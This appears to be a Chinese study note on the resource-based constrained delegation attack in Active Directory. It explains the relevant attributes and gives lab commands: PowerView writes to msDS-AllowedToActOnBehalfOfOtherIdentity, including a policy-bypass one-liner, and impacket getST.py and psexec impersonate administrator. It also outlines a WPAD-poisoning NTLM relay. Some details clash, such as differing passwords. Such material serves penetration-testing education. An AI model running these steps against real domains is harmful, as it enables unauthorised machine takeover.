基于资源的约束委派攻击
前言:将约束/非约束委派弄懂了之后,这里写一篇学习基于资源的约束委派利用的笔记
参考文章:https://daiker.gitbook.io/windows-protocol/kerberos/2
参考文章:https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
参考文章:https://blog.harmj0y.net/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
参考文章:https://www.cnblogs.com/zpchcbd/p/12939246.html
什么是基于资源的约束委派
为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。
上面"基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员",这就导致了正常只要是域用户都有权限进行委派操作。
与约束委派最大的不同点,就是"基于资源"这四个字,如何理解"基于资源"?在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中
三个重要的域属性合集
关于ms-DS-CreatorSID
我这里通过adexplorer来进行查询可以看到当前的ttkq的机器中的ms-DS-CreatorSID
是ske用户的SID,这个就意味着当前的ske用户拥有编辑当前ttkq机器的msDS-AllowedToActOnBehalfOfOtherIdentity
字段
问题:什么时候会产生这个ms-DS-CreatorSID
字段?
一个场景,比如你通过ske这个域账户来登录当前的ttkq的机器中,然后将其加入到一个指定的域,然后账号密码用的就是ske这个账户密码,那么这个ttkq机器中的ms-DS-CreatorSID
保存的就是当前ske用户的SID
这里继续讲ms-DS-CreatorSID
,可以看到官方文档 https://docs.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-creatorsid 对这个字段属性的介绍如下所示,代表着当前这个字段的创建者
关于msDS-AllowedToActOnBehalfOfOtherIdentity
https://docs.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
上面图中字段的内容为D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4223269421-3390898629-3395902804-1119)
,这个值是基于SDDL的语法的,自己笔记中有记录过,这里的话意思就是在SID为S-1-5-21-4223269421-3390898629-3395902804-1119
上配置了基于资源的约束委派,也就是S-1-5-21-4223269421-3390898629-3395902804-1119
对应的用户/机器对当前WIN-SKE-PC具有委派资源的权力
msDS-AllowedToActOnBehalfOfOtherIdentity
属性,定义从服务A到服务B的"传入"信任,简单的理解就是服务B中有该字段(该字段为服务A的SID),那么服务A就可以对服务B拥有相关服务的控制权,比如有cifs服务,那么B就对A拥有cifs的控制权
ms-DS-MachineAccountQuota
https://docs.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户
为什么需要这个呢?这里还需要引出一个S4U2Self其中的一个知识点
因为基于资源的约束委派中需要用到S4U2Self和S4U2Proxy,又因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,所以就需要通过MachineAccountQuota来创建一个SPN的账户来进行委派配合,而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的
知识点:
1、传统的约束委派S4U2Self返回的票据一定是可转发的(Forwardable标记),如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
2、基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。
基于资源的约束委派的设置
这里通过powerview来进行演示,后面我在自己写的程序hyscan中也实现了对msds-allowedtoactonbehalfofotheridentity
的设置操作
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
import-module .\PowerView.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4223269421-3390898629-3395902804-1119)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN-SKE-PC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
实战中一句话执行
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4223269421-3390898629-3395902804-1119)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN-SKE-PC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"
这里来看下相关的WIN-SKE-PC机器上的msds-allowedtoactonbehalfofotheridentity
,此时就被设置了基于资源的约束委派的操作
基于资源的约束委派的利用
到这里就已经完成了对相关的机器账户的创建和设置完相关的msds-allowedtoactonbehalfofotheridentity
的字段了,
下面来演示通过基于资源的约束委派的利用
WIN-SKE-PC 基于资源的约束委派的机器
- SID为
S-1-5-21-4223269421-3390898629-3395902804-1109
- msDS-AllowedToActOnBehalfOfOtherIdentity为
D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4223269421-3390898629-3395902804-1119)
TTKQ 新创建的机器用户
- SID为
S-1-5-21-4223269421-3390898629-3395902804-1119
- 密码为
admin@123
域控 192.168.4.11
这里通过impacket工具包中的getST.py来进行利用,执行如下命令
python getST.py -dc-ip 192.168.4.11 hengge.com/ttkq$:admin@123 -spn cifs/WIN-SKE-PC -impersonate administrator
创建票据的环境变量
set KRB5CCNAME=administrator.ccache
然后继续导入ST票据,通过psexec来进行连接测试
python psexec.py -dc-ip 192.168.4.11 hengge.com/administrator@WIN-SKE-PC -k -no-pass
这里smbclient也是一样的用法
python smbclient.py -dc-ip 192.168.4.11 hengge.com/administrator@WIN-SKE-PC -k -no-pass
攻击完之后清理msds-allowedtoactonbehalfofotheridentity
字段如下命令就可以了,这里就不演示了
Set-DomainObject ttkq -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
基于资源的约束委派的提权
实现提权之前,需要有一个知识点需要了解,就是需要有什么样的权限才可以对机器用户的msds-allowedtoactonbehalfofotheridentity
字段来进行编辑,上面的演示我是通过域控来编辑WIN-SKE-PC的msds-allowedtoactonbehalfofotheridentity
字段的,如果是当前登录WIN-SKE-PC的用户是没有权限进行修改的,如下图所示
这里可以通过对msds-allowedtoactonbehalfofotheridentity
进行查询ACL,来看下什么样的权限可以进行修改,可以看到机器自身可以对该用户进行修改
adFind.exe -sc getacls -sddl+++ -sddlfilter ;;;"msDS-AllowedToActOnBehalfOfOtherIdentity";; -recmute
机器自身的意思其实就是服务账户,就比如起了一个mssqlservice,这种的话那么就是机器自身,又或者是system权限,那么也代表着自身self,那么跟上面的步骤一样就是多了一个设置自身的msds-allowedtoactonbehalfofotheridentity
的步骤,这里可以参考文章 https://www.cnblogs.com/websecyw/p/15437171.html
基于资源的约束委派的原理
上面的利用和相关知识点都理完了,这里继续走一遍流程
这里测试工具用的是daiker的kerberos发包器,然后通过抓包来进行观察
X
跨协议LDAP RELAY+基于资源的约束委派利用
在impacket中提供的攻击包中默认的LDAP操作有如下,除了这些我们还可以自己来写相关的LDAP来进行操作
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbrelayx.py
如果想要通过基于资源的约束委派,让对方的机器控制权交到我们的手上,当请求被中继到域控中的时候,在ntlmrelayx.py中添加这个相关的LDAP操作的代码一起发送
环境:
域控 DC1 192.168.4.11 administrator
域机器 WIN-SKE-PC 192.168.4.130 ske
域机器 WIN-WIN7-PC 192.168.4.135 kk
外网VPS 150.XXX.186.XX
在WIN-WIN7-PC的creatorSid为当前kk用户的objectSid,如下图所示
这里已经获得了WIN-SKE-PC的机器权限,进行端口转发如下图所示
VPS搭建相关中继环境,这里用的是impacket中的ntlmrelay.py,中继操作是将被投毒的机器的msDS-AllowedToActOnBehalfOfOtherIdentity修改为ttkq$的Sid
在WIN-SKE-PC上开始进行WPAD投毒
WIN-WIN7-PC上进行打开浏览器
WPAD投毒成功如下图所示
可以看到此时的WIN-WIN7-PC用户上的msDS-AllowedToActOnBehalfOfOtherIdentity已经被修改,如下图
接着就是开始进行基于资源委派的利用,因为ttkq这台机器是之前创建的,密码为123456,所以申请相关的票据,如下图所示
这里通过impacket工具包中的getST.py来进行利用,执行如下命令
proxychains4 python3 getST.py -dc-ip 192.168.4.11 hengge.com/ttkq\$:admin@123 -spn cifs/WIN7-PC.hengge.com -impersonate administrator
创建票据的环境变量
export KRB5CCNAME=/root/impacket/examples/administrator.ccache
然后继续导入ST票据,通过psexec来进行连接测试
proxychains4 python3 psexec.py -dc-ip 192.168.4.11 hengge.com/administrator@WIN7-PC.hengge.com -k -no-pass